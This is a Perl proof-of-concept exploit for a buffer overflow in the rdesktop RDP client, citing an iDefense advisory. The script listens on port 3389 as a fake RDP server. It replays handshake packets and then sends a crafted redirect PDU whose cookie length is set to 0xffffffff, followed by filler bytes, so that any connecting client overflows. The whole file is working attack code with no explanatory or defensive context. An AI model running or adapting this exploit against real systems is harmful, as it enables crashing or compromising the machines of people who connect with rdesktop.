rdesktoppdu-overflow.txt

`#!/usr/bin/perl  
#  
# http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=697  
  
use strict;  
use IO::Socket;  
  
my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '3389', Listen => 1, Reuse => 1) || die($!);  
  
my $evil = "\x03\x00\x01\x47\x02\xf0\x80\x68\x00\x01\x03\xeb\x70\x81\x38" .  
"\x01\x00\x10\x00" .   
"\xc5\x32" .  
"\x04\x75" . # PDU TYPE == 0x4 == PDU_REDIRECT  
"\xb7\xda\xf8\x43" .  
"\x01\x00\x00\x00" .  
"\x01\x00\x00\x00" .  
"\xff\xff\xff\xff" . # len of g_redirect_cookie  
"\x41" x 64 ; # g_redirect_cookie  
  
while(my $c = $sock->accept())  
{  
while(<$c>)  
{  
print $c ONE(), TWO(), THREE(), FOUR(), FIVE(), SIX(), SEVEN(), $evil;  
}  
}  
  
  
  
  
sub ONE()  
{  
"\x03\x00\x00\x0b\x06\xd0\x00\x00\x12\x34\x00"  
}  
  
sub TWO()  
{  
"\x03\x00\x01\x49\x02\xf0\x80\x7f\x66\x82\x01".  
"\x3d\x0a\x01\x00\x02\x01\x00\x30\x1a\x02\x01".  
"\x22\x02\x01\x03\x02\x01\x00\x02\x01\x01\x02".  
"\x01\x00\x02\x01\x01\x02\x03\x00\xff\xf8\x02".  
"\x01\x02\x04\x82\x01\x17\x00\x05\x00\x14\x7c".  
"\x00\x01\x2a\x14\x76\x0a\x01\x01\x00\x01\xc0".  
"\x00\x4d\x63\x44\x6e\x81\x00\x01\x0c\x08\x00".  
"\x04\x00\x08\x00\x03\x0c\x0c\x00\xeb\x03\x01".  
"\x00\xec\x03\x00\x00\x02\x0c\xec\x00\x02\x00".  
"\x00\x00\x02\x00\x00\x00\x20\x00\x00\x00\xb8".  
"\x00\x00\x00\x29\x60\xbb\x2f\xc4\x4d\x00\x9e".  
"\x58\x8a\xb4\x85\x35\x6a\x71\xea\xad\xf9\x3d".  
"\x0e\x5e\x8e\x87\x64\x2d\x52\x42\xed\xb2\x91".  
"\x3f\xf9\x01\x00\x00\x00\x01\x00\x00\x00\x01".  
"\x00\x00\x00\x06\x00\x5c\x00\x52\x53\x41\x31".  
"\x48\x00\x00\x00\x00\x02\x00\x00\x3f\x00\x00".  
"\x00\x01\x00\x01\x00\xf9\xa3\x35\xb2\x78\x63".  
"\x8d\x94\x65\x47\x22\x54\x49\x55\xae\x6f\x74".  
"\x69\x73\x6e\xee\x2b\xa5\xd0\x47\xf6\xc0\x89".  
"\x2e\xa0\x54\xf5\x12\x87\x75\xb5\x89\xf7\x83".  
"\x48\xd9\x54\xeb\xde\x20\x73\xd6\xd8\xf3\xee".  
"\x0f\xf7\xc2\xaa\xa4\x79\x0a\x5a\x64\x92\x53".  
"\xc4\x75\xd4\x00\x00\x00\x00\x00\x00\x00\x00".  
"\x08\x00\x48\x00\xf6\x20\x04\x62\x5b\x2f\x04".  
"\xae\x02\x04\x4a\x7e\xcf\x59\x02\x11\xf7\x7f".  
"\xab\x74\x95\xce\x01\x4e\xf6\x14\x50\x0b\xd7".  
"\x54\x8f\xf0\x92\xd5\x0c\x6f\x42\xd8\x21\x98".  
"\x9f\x87\x50\x9a\x33\x6c\xef\x65\x05\x5c\x4a".  
"\x93\x51\xc1\x69\x59\x7c\x3d\xf4\x63\xdc\x53".  
"\x66\x3b\x00\x00\x00\x00\x00\x00\x00\x00"  
}  
  
sub THREE()  
{  
"\x03\x00\x00\x0b\x02\xf0\x80\x2e\x00\x00\x04"  
}  
  
sub FOUR()  
{  
"\x03\x00\x00\x0f\x02\xf0\x80\x3e\x00\x00\x04\x03\xed\x03\xed"  
}  
  
sub FIVE()  
{  
"\x03\x00\x00\x0f\x02\xf0\x80\x3e\x00\x00\x04\x03\xeb\x03\xeb"  
}  
  
sub SIX()  
{  
"\x03\x00\x00\x0f\x02\xf0\x80\x3e\x00\x00\x04\x03\xec\x03\xec"  
}  
  
sub SEVEN()  
{  
"\x03\x00\x00\x22\x02\xf0\x80\x68\x00\x01\x03\xeb\x70\x14\x80\x02\x10\x00\xff\x03\x10\x00\x07\x00\x00\x00\x02\x00\x00\x00\x30\x9a\x00\x00"  
}  
  
`